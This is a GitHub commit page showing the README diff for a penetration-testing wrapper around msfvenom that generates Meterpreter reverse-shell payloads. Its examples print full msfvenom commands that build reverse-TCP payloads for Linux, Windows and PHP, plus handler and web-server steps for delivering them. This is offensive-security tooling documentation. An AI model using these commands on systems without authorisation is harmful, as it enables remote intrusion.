Skip to content

Commit

Permalink
v1.1 - Less bugs, more formats, easier to use
Browse files Browse the repository at this point in the history
  • Loading branch information
g0tmi1k committed Jun 24, 2015
1 parent 5f86777 commit cfaa5a3
Show file tree
Hide file tree
Showing 2 changed files with 293 additions and 111 deletions.
100 changes: 58 additions & 42 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,14 +1,14 @@
A **quick** way to generate various "basic" Meterpreter payloads via msfvenom (part of the Metasploit framework).

![Msfvenom Payload Creator (MPC)](https://i.imgur.com/KjlZjd9.png)
![Msfvenom Payload Creator (MPC)](https://i.imgur.com/HfNQ4pr.png)

- - -

## About

Msfvenom Payload Creator (MPC) is a wrapper to generate multiple types of payloads, based on users choice. The idea is to be as **simple as possible** (**only requiring one input**) to produce their payload.

**Fully automating** Msfvenom & Metasploit is the end goal _(well as to be be able to automate MPC itself)_.
**Fully automating** msfvenom & Metasploit is the end goal _(well as to be be able to automate MPC itself)_.
The rest is to make the user's life as **easy as possible** (e.g. **IP selection menu**, **msfconsole resource file/commands** and a **quick web server** etc).

The only necessary input from the user should be **defining the payload** they want by either the **platform** (e.g. `windows`), or the **file extension** they wish the payload to have (e.g. `exe`).
Expand All @@ -28,71 +28,87 @@ mpc
## Help

``` bash
root@kali:/var/www# bash /root/mpc.sh
[*] Msfvenom Payload Creator (MPC)
root@kali:~# mpc
[*] Msfvenom Payload Creator (MPC v1.1)

[i] Missing type

[i] /root/mpc.sh <TYPE> (<IP>) (<PORT>)
[i] TYPE:
[i] ./mpc.sh <TYPE> (<DOMAIN/IP>) (<PORT>)
[i] <TYPE>: (All reverse TCP payloads)
[i] + ASP (meterpreter)
[i] + Bash (meterpreter)
[i] + Linux (meterpreter)
[i] + ASPX (meterpreter)
[i] + Bash [.sh] (shell)
[i] + Java [.jsp] (shell)
[i] + Linux [.elf] (meterpreter)
[i] + OSX [.macho] (shell)
[i] + Perl [.pl] (shell)
[i] + PHP (meterpreter)
[i] + Python (meterpreter)
[i] + Windows (meterpreter)
[i] IP will default to IP selection menu
[i] PORT will default to 443
[i] + Powershell [.ps1] (meterpreter)
[i] + Python [.py] (meterpreter)
[i] + Tomcat [.war] (shell)
[i] + Windows [.exe] (meterpreter)
[i] Missing <DOMAIN/IP> will default to IP menu
[i] Missing <PORT> will default to 443
root@kali:~#
```

## Example \#1 (Linux - Fully Automated With IP And Port)

```bash
root@kali:/var/www# bash mpc.sh linux 192.168.155.175 4444
[*] Msfvenom Payload Creator (MPC v1.1)
[i] IP: 192.168.155.175
[i] PORT: 4444
[i] TYPE: linux (linux/x86/meterpreter/reverse_tcp)
[i] CMD: msfvenom -p linux/x86/meterpreter/reverse_tcp -f elf --platform linux -a x86 -e generic/none LHOST=192.168.155.175 LPORT=4444 -o /root/linux-meterpreter.elf
[i] linux meterpreter created: '/root/linux-meterpreter.elf'
[i] MSF handler file: '/root/linux-meterpreter-elf.rc' (msfconsole -q -r /root/linux-meterpreter-elf.rc)
[?] Quick web server? python -m SimpleHTTPServer 8080
[*] Done!
root@kali:/var/www#
```

## Example \#1 (PHP - Fully Automated)
## Example \#2 (Windows - Fully Automated With Interface)

```bash
root@kali:/var/www# bash /root/mpc.sh php 127.0.0.1
[*] Msfvenom Payload Creator (MPC)
[i] IP: 127.0.0.1
root@kali:~# ./mpc.sh exe eth0
[*] Msfvenom Payload Creator (MPC v1.1)
[i] IP: 192.168.103.241
[i] PORT: 443
[i] TYPE: PHP (php/meterpreter_reverse_tcp)
[i] CMD: msfvenom --payload php/meterpreter_reverse_tcp --format raw --platform php --arch php LHOST=127.0.0.1 LPORT=443 -o /var/www/php_meterpreter.php
No encoder or badchars specified, outputting raw payload
Saved as: /var/www/php_meterpreter.php
[i] PHP meterpreter created as '/var/www/php_meterpreter.php'
[i] MSF handler file create as 'php_meterpreter.rc (msfconsole -q -r /var/www/php_meterpreter.rc)'
[i] TYPE: windows (windows/meterpreter/reverse_tcp)
[i] CMD: msfvenom -p windows/meterpreter/reverse_tcp -f exe --platform windows -a x86 -e generic/none LHOST=192.168.103.241 LPORT=443 -o /root/windows-meterpreter.exe
[i] windows meterpreter created: '/root/windows-meterpreter.exe'
[i] MSF handler file: '/root/windows-meterpreter-exe.rc' (msfconsole -q -r /root/windows-meterpreter-exe.rc)
[?] Quick web server? python -m SimpleHTTPServer 8080
[*] Done!
root@kali:/var/www#
root@kali:~#
```

## Example \#2 (Windows - Interactive)
## Example \#3 (PHP - Interactive)

```bash
root@kali:/var/www# bash /root/mpc.sh exe
[*] Msfvenom Payload Creator (MPC)
root@kali:~# bash mpc.sh php
[*] Msfvenom Payload Creator (MPC v1.1)

[i] Use which IP address?:
[i] 1.) 192.168.103.136
[i] 2.) 192.168.155.175
[i] 3.) 127.0.0.1
[?] Select 1-3: 2
[i] Use which interface/IP address?:
[i] 1.) eth0 - 192.168.103.140
[i] 2.) eth1 - 192.168.155.175
[i] 3.) lo - 127.0.0.1
[?] Select 1-3, interface or IP address: 2

[i] IP: 192.168.155.175
[i] PORT: 443
[i] TYPE: Windows (windows/meterpreter/reverse_tcp)
[i] CMD: msfvenom --payload windows/meterpreter/reverse_tcp --format exe --platform windows --arch x86 LHOST=192.168.155.175 LPORT=443 -o /var/www/windows_meterpreter.exe
No encoder or badchars specified, outputting raw payload
Saved as: /var/www/windows_meterpreter.exe
[i] Windows meterpreter created as '/var/www/windows_meterpreter.exe'
[i] MSF handler file create as 'windows_meterpreter.rc (msfconsole -q -r /var/www/windows_meterpreter.rc)'
[i] TYPE: php (php/meterpreter/reverse_tcp)
[i] CMD: msfvenom -p php/meterpreter/reverse_tcp -f raw --platform php -e generic/none -a php LHOST=192.168.155.175 LPORT=443 -o /root/php-meterpreter.php
[i] php meterpreter created: '/root/php-meterpreter.php'
[i] MSF handler file: '/root/php-meterpreter-php.rc' (msfconsole -q -r /root/php-meterpreter-php.rc)
[?] Quick web server? python -m SimpleHTTPServer 8080
[*] Done!
root@kali:/var/www#
root@kali:~#
```

## To-Do List

* Display interface name next to IP address (e.g. `2.) 192.168.155.175 [eth1]`)
* Display file stats (e.g. file, size, md5/sha1) _Commands are in, just commented out._
* Cleaner command line arguments (e.g. `-ip 127.0.0.1`, `-v` etc)
* Display file stats (e.g. file, size, md5/sha1) _Commands are in, just commented out._
* Support different payloads (e.g. `standard shells`/`nc` & `reverse_http`/`reverse_https`, `bind` etc)
* x64 payloads
* _...IPv6 support?_
Loading

0 comments on commit cfaa5a3

Please sign in to comment.